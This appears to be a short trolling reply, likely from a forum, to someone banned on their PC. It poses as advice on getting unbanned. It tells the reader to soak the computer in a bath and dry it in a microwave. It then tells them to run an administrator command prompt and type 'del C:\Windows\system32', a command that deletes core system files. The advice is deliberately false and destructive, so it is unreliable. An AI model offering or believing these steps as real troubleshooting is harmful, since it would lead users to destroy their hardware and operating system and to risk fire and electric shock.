I hear rinsing the PC you was banned on in a bath that has a temperature of about 18 degrees Celsius and leave it for about 30 - 45 minutes for the water to clean the banned drive and then dry the water out by placing it in a microwave for about 2 minutes. If this doesn't work then I think running CMD as administrator and then running the command: del C:\Windows\system32 will sort your problem out.